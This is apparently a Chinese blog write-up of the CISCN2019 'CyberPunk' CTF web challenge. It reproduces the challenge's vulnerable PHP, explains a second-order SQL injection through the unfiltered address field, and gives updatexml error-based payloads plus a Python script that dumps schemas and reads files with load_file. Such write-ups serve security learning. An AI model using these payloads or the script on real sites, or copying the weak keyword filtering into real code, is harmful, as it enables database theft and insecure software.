Rock's blog

兴趣是最好的老师

0%

[CISCN2019 华北赛区 Day1 Web5]CyberPunk wp

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

题目链接:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk

1. 查看网页源码

发现存在注释

故尝试文件包含,得到源码

index.php

//这里只把php代码贴出
<?php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

confirm.php

<?php
require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

search.php

<?php
require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

change.php

<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php

<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

2. 分析后台逻辑

可以看到后台对于插入、查找、修改、删除数据时提交的字段做了sql关键词的过滤,但唯独对于插入address字段时没有过滤

可以考虑通过数据污染的方式进行二次注入

即通过插入特殊构造的address,使之在查询或修改此字段时触发非预期sql语句执行

通过分析可以看出当插入恶意address后,当更新订单时会引发sql注入

插入地址为

',user_name=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))#

修改地址

出现报错

2. 开始注入

为了练习所以写了一个脚本,实际做题时不需要这么麻烦。

import requests
import random

baseUrl = "http://62226166-69f7-4a95-afca-4be78816f7f0.node3.buuoj.cn/"
tmp = str(random.randint(0,0xffffffff))

# 提交订单
def put_order(name, phone, address):
    url = baseUrl + "confirm.php"
    req = requests.post(url, data={"user_name":name, "phone": phone, "address": address})
    if "订单提交成功" in req.text:
        return True
    else:
        print("put_order Error!")
        return False

# 删除订单
def delete_order(name, phone):
    url = baseUrl + "delete.php"
    req = requests.post(url, data={"user_name":name, "phone":phone})
    if "订单删除成功" in req.text:
        return True
    else:
        print("Delete Error!")
        return False
    
# 修改订单
def change_order(name, phone, address):
    url = baseUrl + "change.php"
    req = requests.post(url, data={"user_name":name, "phone":phone, "address":address})
    if "errorXPATH syntax error:" in req.text:
        return req.text.split('~')[1]
    else:
        # print("change_order Error!")
        return "None"

# 报错注入获取数据库名
def get_database_name():
    start = 1
    length = 30
    database_name = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp) == "None"
        res = ("" if res == "None" else res)
        database_name += res
        start += length
        # print(database_name)
        delete_order(tmp, tmp)
        if len(res) != 30:
            return database_name.split(',')

# 报错注入获取表名
def get_table_name(database_name):
    start = 1
    length = 30
    table_name = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='"+ database_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        table_name += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return table_name.split(',')

# 报错注入获取列名
def get_columns(table_name):
    start = 1
    length = 30
    column_name = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='"+ table_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        column_name += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return column_name.split(',')

# 报错注入获取列中所有值
def get_value(database_name, table_name, column_name):
    start = 1
    length = 30
    value = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat("+ column_name +") from "+ database_name +"."+ table_name +"),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        value += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return value.split(',')

# 报错注入读取文件
def get_file(file):
    start = 1
    length = 30
    text = ""
    while True:
        put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr(load_file('"+ file +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
        res = change_order(tmp, tmp, tmp)
        res = ("" if res == "None" else res)
        text += res
        start += length
        delete_order(tmp, tmp)
        if len(res) != 30:
            return text



if __name__=="__main__":
    # information_schema
    # ctftraining
    # mysql
    # performance_schema
    # test
    # ctfusers
    # database = "ctftraining"
    # for table in get_table_name(database):
    # 	for column in get_columns(table):
    # 		print(database +"."+ table +"."+ column +":", end='')
    # 		print(get_value(database, table, column))
    print(get_file("/flag.txt"))